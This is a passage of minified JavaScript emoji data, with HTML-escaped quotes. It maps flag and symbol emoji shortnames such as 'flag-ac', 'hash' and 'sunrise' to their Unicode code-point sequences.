[&quot;flag-mo&quot;]},{unified:&quot;1F1F2-1F1F5&quot;,shortnames:[&quot;flag-mp&quot;]},{unified:&quot;1F1F2-1F1F6&quot;,shortnames:[&quot;flag-mq&quot;]},{unified:&quot;1F1F2-1F1F7&quot;,shortnames:[&quot;flag-mr&quot;]},{unified:&quot;1F1F2-1F1F8&quot;,shortnames:[&quot;flag-ms&quot;]},{unified:&quot;1F1F2-1F1F9&quot;,shortnames:[&quot;flag-mt&quot;]},{unified:&quot;1F1F2-1F1FA&quot;,shortnames:[&quot;flag-mu&quot;]},{unified:&quot;1F1F2-1F1FB&quot;,shortnames:[&quot;flag-mv&quot;]},{unified:&quot;1F1F2-1F1FC&quot;,shortnames:[&quot;flag-mw&quot;]},{unified:&quot;1F1F2-1F1FD&quot;,shortnames:[&quot;flag-mx&quot;]},{unified:&quot;1F1F2-1F1FE&quot;,shortnames:[&quot;flag-my&quot;]},{unified:&quot;1F1F2-1F1FF&quot;,shortnames:[&quot;flag-mz&quot;]},{unified:&quot;1F1F3-1F1E6&quot;,shortnames:[&quot;flag-na&quot;]},{unified:&quot;1F1F3-1F1E8&quot;,shortnames:[&quot;flag-nc&quot;]},{unified:&quot;1F1F3-1F1EA&quot;,shortnames:[&quot;flag-ne&quot;]},{unified:&quot;1F1F3-1F1EB&quot;,shortnames:[&quot;flag-nf&quot;]},{unified:&quot;1F1F3-1F1EC&quot;,shortnames:[&quot;flag-ng&quot;]},{unified:&quot;1F1F3-1F1EE&quot;,shortnames:[&quot;flag-ni&quot;]},{unified:&quot;1F1F3-1F1F1&quot;,shortnames:[&quot;flag-nl&quot;]},{unified:&quot;1F1F3-1F1F4&quot;,shortnames:[&quot;flag-no&quot;]},{unified:&quot;1F1F3-1F1F5&quot;,shortnames:[&quot;flag-np&quot;]},{unified:&quot;1F1F3-1F1F7&quot;,shortnames:[&quot;flag-nr&quot;]},{unified:&quot;1F1F3-1F1FA&quot;,shortnames:[&quot;flag-nu&quot;]},{unified:&quot;1F1F3-1F1FF&quot;,shortnames:[&quot;flag-nz&quot;]},{unified:&quot;1F1F4-1F1F2&quot;,shortnames:[&quot;flag-om&quot;]},{unified:&quot;1F1F5-1F1E6&quot;,shortnames:[&quot;flag-pa&quot;]},{unified:&quot;1F1F5-1F1EA&quot;,shortnames:[&quot;flag-pe&quot;]},{unified:&quot;1F1F5-1F1EB&quot;,shortnames:[&quot;flag-pf&quot;]},{unified:&quot;1F1F5-1F1EC&quot;,shortnames:[&quot;flag-pg&quot;]},{unified:&quot;1F1F5-1F1ED&quot;,shortnames:[&quot;flag-ph&quot;]},{unified:&quot;1F1F5-1F1F0&quot;,shortnames:[&quot;flag-pk&quot;]},{unified:&quot;1F1F5-1F1F1&quot;,shortnames:[&quot;flag-pl&quot;]},{unified:&quot;1F1F5-1F1F2&quot;,shortnames:[&quot;flag-pm&quot;]},{unified:&quot;1F1F5-1F1F3&quot;,shortnames:[&quot;flag-pn&quot;]},{unified:&quot;1F1F5-1F1F7&quot;,shortnames:[&quot;flag-pr&quot;]},{unified:&quot;1F1F5-1F1F8&quot;,shortnames:[&quot;flag-ps&quot;]},{unified:&quot;1F1F5-1F1F9&quot;,shortnames:[&quot;flag-pt&quot;]},{unified:&quot;1F1F5-1F1FC&quot;,shortnames:[&quot;flag-pw&quot;]},{unified:&quot;1F1F5-1F1FE&quot;,shortnames:[&quot;flag-py&quot;]},{unified:&quot;1F1F6-1F1E6&quot;,shortnames:[&quot;flag-qa&quot;]},{unified:&quot;1F1F7-1F1EA&quot;,shortnames:[&quot;flag-re&quot;]},{unified:&quot;1F1F7-1F1F4&quot;,shortnames:[&quot;flag-ro&quot;]},{unified:&quot;1F1F7-1F1F8&quot;,shortnames:[&quot;flag-rs&quot;]},{unified:&quot;1F1F7-1F1FA&quot;,shortnames:[&quot;ru&quot;]},{unified:&quot;1F1F7-1F1FC&quot;,shortnames:[&quot;flag-rw&quot;]},{unified:&quot;1F1F8-1F1E6&quot;,shortnames:[&quot;flag-sa&quot;]},{unified:&quot;1F1F8-1F1E7&quot;,shortnames:[&quot;flag-sb&quot;]},{unified:&quot;1F1F8-1F1E8&quot;,shortnames:[&quot;flag-sc&quot;]},{unified:&quot;1F1F8-1F1E9&quot;,shortnames:[&quot;flag-sd&quot;]},{unified:&quot;1F1F8-1F1EA&quot;,shortnames:[&quot;flag-se&quot;]},{unified:&quot;1F1F8-1F1EC&quot;,shortnames:[&quot;flag-sg&quot;]},{unified:&quot;1F1F8-1F1ED&quot;,shortnames:[&quot;flag-sh&quot;]},{unified:&quot;1F1F8-1F1EE&quot;,shortnames:[&quot;flag-si&quot;]},{unified:&quot;1F1F8-1F1EF&quot;,shortnames:[&quot;flag-sj&quot;]},{unified:&quot;1F1F8-1F1F0&quot;,shortnames:[&quot;flag-sk&quot;]},{unified:&quot;1F1F8-1F1F1&quot;,shortnames:[&quot;flag-sl&quot;]},{unified:&quot;1F1F8-1F1F2&quot;,shortnames:[&quot;flag-sm&quot;]},{unified:&quot;1F1F8-1F1F3&quot;,shortnames:[&quot;flag-sn&quot;]},{unified:&quot;1F1F8-1F1F4&quot;,shortnames:[&quot;flag-so&quot;]},{unified:&quot;1F1F8-1F1F7&quot;,shortnames:[&quot;flag-sr&quot;]},{unified:&quot;1F1F8-1F1F8&quot;,shortnames:[&quot;flag-ss&quot;]},{unified:&quot;1F1F8-1F1F9&quot;,shortnames:[&quot;flag-st&quot;]},{unified:&quot;1F1F8-1F1FB&quot;,shortnames:[&quot;flag-sv&quot;]},{unified:&quot;1F1F8-1F1FD&quot;,shortnames:[&quot;flag-sx&quot;]},{unified:&quot;1F1F8-1F1FE&quot;,shortnames:[&quot;flag-sy&quot;]},{unified:&quot;1F1F8-1F1FF&quot;,shortnames:[&quot;flag-sz&quot;]},{unified:&quot;1F1F9-1F1E6&quot;,shortnames:[&quot;flag-ta&quot;]},{unified:&quot;1F1F9-1F1E8&quot;,shortnames:[&quot;flag-tc&quot;]},{unified:&quot;1F1F9-1F1E9&quot;,shortnames:[&quot;flag-td&quot;]},{unified:&quot;1F1F9-1F1EB&quot;,shortnames:[&quot;flag-tf&quot;]},{unified:&quot;1F1F9-1F1EC&quot;,shortnames:[&quot;flag-tg&quot;]},{unified:&quot;1F1F9-1F1ED&quot;,shortnames:[&quot;flag-th&quot;]},{unified:&quot;1F1F9-1F1EF&quot;,shortnames:[&quot;flag-tj&quot;]},{unified:&quot;1F1F9-1F1F0&quot;,shortnames:[&quot;flag-tk&quot;]},{unified:&quot;1F1F9-1F1F1&quot;,shortnames:[&quot;flag-tl&quot;]},{unified:&quot;1F1F9-1F1F2&quot;,shortnames:[&quot;flag-tm&quot;]},{unified:&quot;1F1F9-1F1F3&quot;,shortnames:[&quot;flag-tn&quot;]},{unified:&quot;1F1F9-1F1F4&quot;,shortnames:[&quot;flag-to&quot;]},{unified:&quot;1F1F9-1F1F7&quot;,shortnames:[&quot;flag-tr&quot;]},{unified:&quot;1F1F9-1F1F9&quot;,shortnames:[&quot;flag-tt&quot;]},{unified:&quot;1F1F9-1F1FB&quot;,shortnames:[&quot;flag-tv&quot;]},{unified:&quot;1F1F9-1F1FC&quot;,shortnames:[&quot;flag-tw&quot;]},{unified:&quot;1F1F9-1F1FF&quot;,shortnames:[&quot;flag-tz&quot;]},{unified:&quot;1F1FA-1F1E6&quot;,shortnames:[&quot;flag-ua&quot;]},{unified:&quot;1F1FA-1F1EC&quot;,shortnames:[&quot;flag-ug&quot;]},{unified:&quot;1F1FA-1F1F2&quot;,shortnames:[&quot;flag-um&quot;]},{unified:&quot;1F1FA-1F1F3&quot;,shortnames:[&quot;flag-un&quot;]},{unified:&quot;1F1FA-1F1F8&quot;,shortnames:[&quot;us&quot;]},{unified:&quot;1F1FA-1F1FE&quot;,shortnames:[&quot;flag-uy&quot;]},{unified:&quot;1F1FA-1F1FF&quot;,shortnames:[&quot;flag-uz&quot;]},{unified:&quot;1F1FB-1F1E6&quot;,shortnames:[&quot;flag-va&quot;]},{unified:&quot;1F1FB-1F1E8&quot;,shortnames:[&quot;flag-vc&quot;]},{unified:&quot;1F1FB-1F1EA&quot;,shortnames:[&quot;flag-ve&quot;]},{unified:&quot;1F1FB-1F1EC&quot;,shortnames:[&quot;flag-vg&quot;]},{unified:&quot;1F1FB-1F1EE&quot;,shortnames:[&quot;flag-vi&quot;]},{unified:&quot;1F1FB-1F1F3&quot;,shortnames:[&quot;flag-vn&quot;]},{unified:&quot;1F1FB-1F1FA&quot;,shortnames:[&quot;flag-vu&quot;]},{unified:&quot;1F1FC-1F1EB&quot;,shortnames:[&quot;flag-wf&quot;]},{unified:&quot;1F1FC-1F1F8&quot;,shortnames:[&quot;flag-ws&quot;]},{unified:&quot;1F1FD-1F1F0&quot;,shortnames:[&quot;flag-xk&quot;]},{unified:&quot;1F1FE-1F1EA&quot;,shortnames:[&quot;flag-ye&quot;]},{unified:&quot;1F1FE-1F1F9&quot;,shortnames:[&quot;flag-yt&quot;]},{unified:&quot;1F1FF-1F1E6&quot;,shortnames:[&quot;flag-za&quot;]},{unified:&quot;1F1FF-1F1F2&quot;,shortnames:[&quot;flag-zm&quot;]},{unified:&quot;1F1FF-1F1FC&quot;,shortnames:[&quot;flag-zw&quot;]},{unified:&quot;1F3F4-E0067-E0062-E0065-E006E-E0067-E007F&quot;,shortnames:[&quot;flag-england&quot;]},{unified:&quot;1F3F4-E0067-E0062-E0073-E0063-E0074-E007F&quot;,shortnames:[&quot;flag-scotland&quot;]},{unified:&quot;1F3F4-E0067-E0062-E0077-E006C-E0073-E007F&quot;,shortnames:[&quot;flag-wales&quot;]}]}];_exports.byShortName={hash:&quot;0023-FE0F-20E3&quot;,keycap_star:&quot;002A-FE0F-20E3&quot;,zero:&quot;0030-FE0F-20E3&quot;,one:&quot;0031-FE0F-20E3&quot;,two:&quot;0032-FE0F-20E3&quot;,three:&quot;0033-FE0F-20E3&quot;,four:&quot;0034-FE0F-20E3&quot;,five:&quot;0035-FE0F-20E3&quot;,six:&quot;0036-FE0F-20E3&quot;,seven:&quot;0037-FE0F-20E3&quot;,eight:&quot;0038-FE0F-20E3&quot;,nine:&quot;0039-FE0F-20E3&quot;,copyright:&quot;00A9-FE0F&quot;,registered:&quot;00AE-FE0F&quot;,mahjong:&quot;1F004&quot;,black_joker:&quot;1F0CF&quot;,a:&quot;1F170-FE0F&quot;,b:&quot;1F171-FE0F&quot;,o2:&quot;1F17E-FE0F&quot;,parking:&quot;1F17F-FE0F&quot;,ab:&quot;1F18E&quot;,cl:&quot;1F191&quot;,cool:&quot;1F192&quot;,free:&quot;1F193&quot;,id:&quot;1F194&quot;,new:&quot;1F195&quot;,ng:&quot;1F196&quot;,ok:&quot;1F197&quot;,sos:&quot;1F198&quot;,up:&quot;1F199&quot;,vs:&quot;1F19A&quot;,&quot;flag-ac&quot;:&quot;1F1E6-1F1E8&quot;,&quot;flag-ad&quot;:&quot;1F1E6-1F1E9&quot;,&quot;flag-ae&quot;:&quot;1F1E6-1F1EA&quot;,&quot;flag-af&quot;:&quot;1F1E6-1F1EB&quot;,&quot;flag-ag&quot;:&quot;1F1E6-1F1EC&quot;,&quot;flag-ai&quot;:&quot;1F1E6-1F1EE&quot;,&quot;flag-al&quot;:&quot;1F1E6-1F1F1&quot;,&quot;flag-am&quot;:&quot;1F1E6-1F1F2&quot;,&quot;flag-ao&quot;:&quot;1F1E6-1F1F4&quot;,&quot;flag-aq&quot;:&quot;1F1E6-1F1F6&quot;,&quot;flag-ar&quot;:&quot;1F1E6-1F1F7&quot;,&quot;flag-as&quot;:&quot;1F1E6-1F1F8&quot;,&quot;flag-at&quot;:&quot;1F1E6-1F1F9&quot;,&quot;flag-au&quot;:&quot;1F1E6-1F1FA&quot;,&quot;flag-aw&quot;:&quot;1F1E6-1F1FC&quot;,&quot;flag-ax&quot;:&quot;1F1E6-1F1FD&quot;,&quot;flag-az&quot;:&quot;1F1E6-1F1FF&quot;,&quot;flag-ba&quot;:&quot;1F1E7-1F1E6&quot;,&quot;flag-bb&quot;:&quot;1F1E7-1F1E7&quot;,&quot;flag-bd&quot;:&quot;1F1E7-1F1E9&quot;,&quot;flag-be&quot;:&quot;1F1E7-1F1EA&quot;,&quot;flag-bf&quot;:&quot;1F1E7-1F1EB&quot;,&quot;flag-bg&quot;:&quot;1F1E7-1F1EC&quot;,&quot;flag-bh&quot;:&quot;1F1E7-1F1ED&quot;,&quot;flag-bi&quot;:&quot;1F1E7-1F1EE&quot;,&quot;flag-bj&quot;:&quot;1F1E7-1F1EF&quot;,&quot;flag-bl&quot;:&quot;1F1E7-1F1F1&quot;,&quot;flag-bm&quot;:&quot;1F1E7-1F1F2&quot;,&quot;flag-bn&quot;:&quot;1F1E7-1F1F3&quot;,&quot;flag-bo&quot;:&quot;1F1E7-1F1F4&quot;,&quot;flag-bq&quot;:&quot;1F1E7-1F1F6&quot;,&quot;flag-br&quot;:&quot;1F1E7-1F1F7&quot;,&quot;flag-bs&quot;:&quot;1F1E7-1F1F8&quot;,&quot;flag-bt&quot;:&quot;1F1E7-1F1F9&quot;,&quot;flag-bv&quot;:&quot;1F1E7-1F1FB&quot;,&quot;flag-bw&quot;:&quot;1F1E7-1F1FC&quot;,&quot;flag-by&quot;:&quot;1F1E7-1F1FE&quot;,&quot;flag-bz&quot;:&quot;1F1E7-1F1FF&quot;,&quot;flag-ca&quot;:&quot;1F1E8-1F1E6&quot;,&quot;flag-cc&quot;:&quot;1F1E8-1F1E8&quot;,&quot;flag-cd&quot;:&quot;1F1E8-1F1E9&quot;,&quot;flag-cf&quot;:&quot;1F1E8-1F1EB&quot;,&quot;flag-cg&quot;:&quot;1F1E8-1F1EC&quot;,&quot;flag-ch&quot;:&quot;1F1E8-1F1ED&quot;,&quot;flag-ci&quot;:&quot;1F1E8-1F1EE&quot;,&quot;flag-ck&quot;:&quot;1F1E8-1F1F0&quot;,&quot;flag-cl&quot;:&quot;1F1E8-1F1F1&quot;,&quot;flag-cm&quot;:&quot;1F1E8-1F1F2&quot;,cn:&quot;1F1E8-1F1F3&quot;,&quot;flag-co&quot;:&quot;1F1E8-1F1F4&quot;,&quot;flag-cp&quot;:&quot;1F1E8-1F1F5&quot;,&quot;flag-cr&quot;:&quot;1F1E8-1F1F7&quot;,&quot;flag-cu&quot;:&quot;1F1E8-1F1FA&quot;,&quot;flag-cv&quot;:&quot;1F1E8-1F1FB&quot;,&quot;flag-cw&quot;:&quot;1F1E8-1F1FC&quot;,&quot;flag-cx&quot;:&quot;1F1E8-1F1FD&quot;,&quot;flag-cy&quot;:&quot;1F1E8-1F1FE&quot;,&quot;flag-cz&quot;:&quot;1F1E8-1F1FF&quot;,de:&quot;1F1E9-1F1EA&quot;,&quot;flag-dg&quot;:&quot;1F1E9-1F1EC&quot;,&quot;flag-dj&quot;:&quot;1F1E9-1F1EF&quot;,&quot;flag-dk&quot;:&quot;1F1E9-1F1F0&quot;,&quot;flag-dm&quot;:&quot;1F1E9-1F1F2&quot;,&quot;flag-do&quot;:&quot;1F1E9-1F1F4&quot;,&quot;flag-dz&quot;:&quot;1F1E9-1F1FF&quot;,&quot;flag-ea&quot;:&quot;1F1EA-1F1E6&quot;,&quot;flag-ec&quot;:&quot;1F1EA-1F1E8&quot;,&quot;flag-ee&quot;:&quot;1F1EA-1F1EA&quot;,&quot;flag-eg&quot;:&quot;1F1EA-1F1EC&quot;,&quot;flag-eh&quot;:&quot;1F1EA-1F1ED&quot;,&quot;flag-er&quot;:&quot;1F1EA-1F1F7&quot;,es:&quot;1F1EA-1F1F8&quot;,&quot;flag-et&quot;:&quot;1F1EA-1F1F9&quot;,&quot;flag-eu&quot;:&quot;1F1EA-1F1FA&quot;,&quot;flag-fi&quot;:&quot;1F1EB-1F1EE&quot;,&quot;flag-fj&quot;:&quot;1F1EB-1F1EF&quot;,&quot;flag-fk&quot;:&quot;1F1EB-1F1F0&quot;,&quot;flag-fm&quot;:&quot;1F1EB-1F1F2&quot;,&quot;flag-fo&quot;:&quot;1F1EB-1F1F4&quot;,fr:&quot;1F1EB-1F1F7&quot;,&quot;flag-ga&quot;:&quot;1F1EC-1F1E6&quot;,gb:&quot;1F1EC-1F1E7&quot;,&quot;flag-gd&quot;:&quot;1F1EC-1F1E9&quot;,&quot;flag-ge&quot;:&quot;1F1EC-1F1EA&quot;,&quot;flag-gf&quot;:&quot;1F1EC-1F1EB&quot;,&quot;flag-gg&quot;:&quot;1F1EC-1F1EC&quot;,&quot;flag-gh&quot;:&quot;1F1EC-1F1ED&quot;,&quot;flag-gi&quot;:&quot;1F1EC-1F1EE&quot;,&quot;flag-gl&quot;:&quot;1F1EC-1F1F1&quot;,&quot;flag-gm&quot;:&quot;1F1EC-1F1F2&quot;,&quot;flag-gn&quot;:&quot;1F1EC-1F1F3&quot;,&quot;flag-gp&quot;:&quot;1F1EC-1F1F5&quot;,&quot;flag-gq&quot;:&quot;1F1EC-1F1F6&quot;,&quot;flag-gr&quot;:&quot;1F1EC-1F1F7&quot;,&quot;flag-gs&quot;:&quot;1F1EC-1F1F8&quot;,&quot;flag-gt&quot;:&quot;1F1EC-1F1F9&quot;,&quot;flag-gu&quot;:&quot;1F1EC-1F1FA&quot;,&quot;flag-gw&quot;:&quot;1F1EC-1F1FC&quot;,&quot;flag-gy&quot;:&quot;1F1EC-1F1FE&quot;,&quot;flag-hk&quot;:&quot;1F1ED-1F1F0&quot;,&quot;flag-hm&quot;:&quot;1F1ED-1F1F2&quot;,&quot;flag-hn&quot;:&quot;1F1ED-1F1F3&quot;,&quot;flag-hr&quot;:&quot;1F1ED-1F1F7&quot;,&quot;flag-ht&quot;:&quot;1F1ED-1F1F9&quot;,&quot;flag-hu&quot;:&quot;1F1ED-1F1FA&quot;,&quot;flag-ic&quot;:&quot;1F1EE-1F1E8&quot;,&quot;flag-id&quot;:&quot;1F1EE-1F1E9&quot;,&quot;flag-ie&quot;:&quot;1F1EE-1F1EA&quot;,&quot;flag-il&quot;:&quot;1F1EE-1F1F1&quot;,&quot;flag-im&quot;:&quot;1F1EE-1F1F2&quot;,&quot;flag-in&quot;:&quot;1F1EE-1F1F3&quot;,&quot;flag-io&quot;:&quot;1F1EE-1F1F4&quot;,&quot;flag-iq&quot;:&quot;1F1EE-1F1F6&quot;,&quot;flag-ir&quot;:&quot;1F1EE-1F1F7&quot;,&quot;flag-is&quot;:&quot;1F1EE-1F1F8&quot;,it:&quot;1F1EE-1F1F9&quot;,&quot;flag-je&quot;:&quot;1F1EF-1F1EA&quot;,&quot;flag-jm&quot;:&quot;1F1EF-1F1F2&quot;,&quot;flag-jo&quot;:&quot;1F1EF-1F1F4&quot;,jp:&quot;1F1EF-1F1F5&quot;,&quot;flag-ke&quot;:&quot;1F1F0-1F1EA&quot;,&quot;flag-kg&quot;:&quot;1F1F0-1F1EC&quot;,&quot;flag-kh&quot;:&quot;1F1F0-1F1ED&quot;,&quot;flag-ki&quot;:&quot;1F1F0-1F1EE&quot;,&quot;flag-km&quot;:&quot;1F1F0-1F1F2&quot;,&quot;flag-kn&quot;:&quot;1F1F0-1F1F3&quot;,&quot;flag-kp&quot;:&quot;1F1F0-1F1F5&quot;,kr:&quot;1F1F0-1F1F7&quot;,&quot;flag-kw&quot;:&quot;1F1F0-1F1FC&quot;,&quot;flag-ky&quot;:&quot;1F1F0-1F1FE&quot;,&quot;flag-kz&quot;:&quot;1F1F0-1F1FF&quot;,&quot;flag-la&quot;:&quot;1F1F1-1F1E6&quot;,&quot;flag-lb&quot;:&quot;1F1F1-1F1E7&quot;,&quot;flag-lc&quot;:&quot;1F1F1-1F1E8&quot;,&quot;flag-li&quot;:&quot;1F1F1-1F1EE&quot;,&quot;flag-lk&quot;:&quot;1F1F1-1F1F0&quot;,&quot;flag-lr&quot;:&quot;1F1F1-1F1F7&quot;,&quot;flag-ls&quot;:&quot;1F1F1-1F1F8&quot;,&quot;flag-lt&quot;:&quot;1F1F1-1F1F9&quot;,&quot;flag-lu&quot;:&quot;1F1F1-1F1FA&quot;,&quot;flag-lv&quot;:&quot;1F1F1-1F1FB&quot;,&quot;flag-ly&quot;:&quot;1F1F1-1F1FE&quot;,&quot;flag-ma&quot;:&quot;1F1F2-1F1E6&quot;,&quot;flag-mc&quot;:&quot;1F1F2-1F1E8&quot;,&quot;flag-md&quot;:&quot;1F1F2-1F1E9&quot;,&quot;flag-me&quot;:&quot;1F1F2-1F1EA&quot;,&quot;flag-mf&quot;:&quot;1F1F2-1F1EB&quot;,&quot;flag-mg&quot;:&quot;1F1F2-1F1EC&quot;,&quot;flag-mh&quot;:&quot;1F1F2-1F1ED&quot;,&quot;flag-mk&quot;:&quot;1F1F2-1F1F0&quot;,&quot;flag-ml&quot;:&quot;1F1F2-1F1F1&quot;,&quot;flag-mm&quot;:&quot;1F1F2-1F1F2&quot;,&quot;flag-mn&quot;:&quot;1F1F2-1F1F3&quot;,&quot;flag-mo&quot;:&quot;1F1F2-1F1F4&quot;,&quot;flag-mp&quot;:&quot;1F1F2-1F1F5&quot;,&quot;flag-mq&quot;:&quot;1F1F2-1F1F6&quot;,&quot;flag-mr&quot;:&quot;1F1F2-1F1F7&quot;,&quot;flag-ms&quot;:&quot;1F1F2-1F1F8&quot;,&quot;flag-mt&quot;:&quot;1F1F2-1F1F9&quot;,&quot;flag-mu&quot;:&quot;1F1F2-1F1FA&quot;,&quot;flag-mv&quot;:&quot;1F1F2-1F1FB&quot;,&quot;flag-mw&quot;:&quot;1F1F2-1F1FC&quot;,&quot;flag-mx&quot;:&quot;1F1F2-1F1FD&quot;,&quot;flag-my&quot;:&quot;1F1F2-1F1FE&quot;,&quot;flag-mz&quot;:&quot;1F1F2-1F1FF&quot;,&quot;flag-na&quot;:&quot;1F1F3-1F1E6&quot;,&quot;flag-nc&quot;:&quot;1F1F3-1F1E8&quot;,&quot;flag-ne&quot;:&quot;1F1F3-1F1EA&quot;,&quot;flag-nf&quot;:&quot;1F1F3-1F1EB&quot;,&quot;flag-ng&quot;:&quot;1F1F3-1F1EC&quot;,&quot;flag-ni&quot;:&quot;1F1F3-1F1EE&quot;,&quot;flag-nl&quot;:&quot;1F1F3-1F1F1&quot;,&quot;flag-no&quot;:&quot;1F1F3-1F1F4&quot;,&quot;flag-np&quot;:&quot;1F1F3-1F1F5&quot;,&quot;flag-nr&quot;:&quot;1F1F3-1F1F7&quot;,&quot;flag-nu&quot;:&quot;1F1F3-1F1FA&quot;,&quot;flag-nz&quot;:&quot;1F1F3-1F1FF&quot;,&quot;flag-om&quot;:&quot;1F1F4-1F1F2&quot;,&quot;flag-pa&quot;:&quot;1F1F5-1F1E6&quot;,&quot;flag-pe&quot;:&quot;1F1F5-1F1EA&quot;,&quot;flag-pf&quot;:&quot;1F1F5-1F1EB&quot;,&quot;flag-pg&quot;:&quot;1F1F5-1F1EC&quot;,&quot;flag-ph&quot;:&quot;1F1F5-1F1ED&quot;,&quot;flag-pk&quot;:&quot;1F1F5-1F1F0&quot;,&quot;flag-pl&quot;:&quot;1F1F5-1F1F1&quot;,&quot;flag-pm&quot;:&quot;1F1F5-1F1F2&quot;,&quot;flag-pn&quot;:&quot;1F1F5-1F1F3&quot;,&quot;flag-pr&quot;:&quot;1F1F5-1F1F7&quot;,&quot;flag-ps&quot;:&quot;1F1F5-1F1F8&quot;,&quot;flag-pt&quot;:&quot;1F1F5-1F1F9&quot;,&quot;flag-pw&quot;:&quot;1F1F5-1F1FC&quot;,&quot;flag-py&quot;:&quot;1F1F5-1F1FE&quot;,&quot;flag-qa&quot;:&quot;1F1F6-1F1E6&quot;,&quot;flag-re&quot;:&quot;1F1F7-1F1EA&quot;,&quot;flag-ro&quot;:&quot;1F1F7-1F1F4&quot;,&quot;flag-rs&quot;:&quot;1F1F7-1F1F8&quot;,ru:&quot;1F1F7-1F1FA&quot;,&quot;flag-rw&quot;:&quot;1F1F7-1F1FC&quot;,&quot;flag-sa&quot;:&quot;1F1F8-1F1E6&quot;,&quot;flag-sb&quot;:&quot;1F1F8-1F1E7&quot;,&quot;flag-sc&quot;:&quot;1F1F8-1F1E8&quot;,&quot;flag-sd&quot;:&quot;1F1F8-1F1E9&quot;,&quot;flag-se&quot;:&quot;1F1F8-1F1EA&quot;,&quot;flag-sg&quot;:&quot;1F1F8-1F1EC&quot;,&quot;flag-sh&quot;:&quot;1F1F8-1F1ED&quot;,&quot;flag-si&quot;:&quot;1F1F8-1F1EE&quot;,&quot;flag-sj&quot;:&quot;1F1F8-1F1EF&quot;,&quot;flag-sk&quot;:&quot;1F1F8-1F1F0&quot;,&quot;flag-sl&quot;:&quot;1F1F8-1F1F1&quot;,&quot;flag-sm&quot;:&quot;1F1F8-1F1F2&quot;,&quot;flag-sn&quot;:&quot;1F1F8-1F1F3&quot;,&quot;flag-so&quot;:&quot;1F1F8-1F1F4&quot;,&quot;flag-sr&quot;:&quot;1F1F8-1F1F7&quot;,&quot;flag-ss&quot;:&quot;1F1F8-1F1F8&quot;,&quot;flag-st&quot;:&quot;1F1F8-1F1F9&quot;,&quot;flag-sv&quot;:&quot;1F1F8-1F1FB&quot;,&quot;flag-sx&quot;:&quot;1F1F8-1F1FD&quot;,&quot;flag-sy&quot;:&quot;1F1F8-1F1FE&quot;,&quot;flag-sz&quot;:&quot;1F1F8-1F1FF&quot;,&quot;flag-ta&quot;:&quot;1F1F9-1F1E6&quot;,&quot;flag-tc&quot;:&quot;1F1F9-1F1E8&quot;,&quot;flag-td&quot;:&quot;1F1F9-1F1E9&quot;,&quot;flag-tf&quot;:&quot;1F1F9-1F1EB&quot;,&quot;flag-tg&quot;:&quot;1F1F9-1F1EC&quot;,&quot;flag-th&quot;:&quot;1F1F9-1F1ED&quot;,&quot;flag-tj&quot;:&quot;1F1F9-1F1EF&quot;,&quot;flag-tk&quot;:&quot;1F1F9-1F1F0&quot;,&quot;flag-tl&quot;:&quot;1F1F9-1F1F1&quot;,&quot;flag-tm&quot;:&quot;1F1F9-1F1F2&quot;,&quot;flag-tn&quot;:&quot;1F1F9-1F1F3&quot;,&quot;flag-to&quot;:&quot;1F1F9-1F1F4&quot;,&quot;flag-tr&quot;:&quot;1F1F9-1F1F7&quot;,&quot;flag-tt&quot;:&quot;1F1F9-1F1F9&quot;,&quot;flag-tv&quot;:&quot;1F1F9-1F1FB&quot;,&quot;flag-tw&quot;:&quot;1F1F9-1F1FC&quot;,&quot;flag-tz&quot;:&quot;1F1F9-1F1FF&quot;,&quot;flag-ua&quot;:&quot;1F1FA-1F1E6&quot;,&quot;flag-ug&quot;:&quot;1F1FA-1F1EC&quot;,&quot;flag-um&quot;:&quot;1F1FA-1F1F2&quot;,&quot;flag-un&quot;:&quot;1F1FA-1F1F3&quot;,us:&quot;1F1FA-1F1F8&quot;,&quot;flag-uy&quot;:&quot;1F1FA-1F1FE&quot;,&quot;flag-uz&quot;:&quot;1F1FA-1F1FF&quot;,&quot;flag-va&quot;:&quot;1F1FB-1F1E6&quot;,&quot;flag-vc&quot;:&quot;1F1FB-1F1E8&quot;,&quot;flag-ve&quot;:&quot;1F1FB-1F1EA&quot;,&quot;flag-vg&quot;:&quot;1F1FB-1F1EC&quot;,&quot;flag-vi&quot;:&quot;1F1FB-1F1EE&quot;,&quot;flag-vn&quot;:&quot;1F1FB-1F1F3&quot;,&quot;flag-vu&quot;:&quot;1F1FB-1F1FA&quot;,&quot;flag-wf&quot;:&quot;1F1FC-1F1EB&quot;,&quot;flag-ws&quot;:&quot;1F1FC-1F1F8&quot;,&quot;flag-xk&quot;:&quot;1F1FD-1F1F0&quot;,&quot;flag-ye&quot;:&quot;1F1FE-1F1EA&quot;,&quot;flag-yt&quot;:&quot;1F1FE-1F1F9&quot;,&quot;flag-za&quot;:&quot;1F1FF-1F1E6&quot;,&quot;flag-zm&quot;:&quot;1F1FF-1F1F2&quot;,&quot;flag-zw&quot;:&quot;1F1FF-1F1FC&quot;,koko:&quot;1F201&quot;,sa:&quot;1F202-FE0F&quot;,u7121:&quot;1F21A&quot;,u6307:&quot;1F22F&quot;,u7981:&quot;1F232&quot;,u7a7a:&quot;1F233&quot;,u5408:&quot;1F234&quot;,u6e80:&quot;1F235&quot;,u6709:&quot;1F236&quot;,u6708:&quot;1F237-FE0F&quot;,u7533:&quot;1F238&quot;,u5272:&quot;1F239&quot;,u55b6:&quot;1F23A&quot;,ideograph_advantage:&quot;1F250&quot;,accept:&quot;1F251&quot;,cyclone:&quot;1F300&quot;,foggy:&quot;1F301&quot;,closed_umbrella:&quot;1F302&quot;,night_with_stars:&quot;1F303&quot;,sunrise_over_mountains:&quot;1F304&quot;,sunrise:&quot;1F305&quot;,city_sunset:&quot;1F306&quot;,city_sunrise:&quot;1F307&quot;,rainbow:&quot;1F308&quot;,bridge_at_night:&quot;1F309&quot;,ocean:&quot;1F30A&quot;,volcano:&quot;1F30B&quot;,milky_way:&quot;1F30C&quot;,earth_africa:&quot;1F30D&quot;,earth_americas:&quot;1F30E&quot;,earth_asia:&quot;1F30F&quot;,globe_with_meridians:&quot;1F310&quot;,new_moon:&quot;1F311&quot;,waxing_crescent_moon:&quot;1F312&quot;,first_quarter_moon:&quot;1F313&quot;,moon:&quot;1F314&quot;,full_moon:&quot;1F315&quot;,waning_gibbous_moon:&quot;1F316&quot;,last_quarter_moon:&quot;1F317&quot;,waning_crescent_moon:&quot;1F318&quot;,crescent_moon:&quot;1F319&quot;,new_moon_with_face:&quot;1F31A&quot;,first_quarter_moon_with_face:&quot;1F31B&quot;,last_quarter_moon_with_face:&quot;1F31C&quot;,full_moon_with_face:&quot;1F31D&quot;,sun_with_face:&quot;1F31E&quot;,star2:&quot;1F31F&quot;,stars:&quot;1F320&quot;,thermometer:&quot;1F321-FE0F&quot;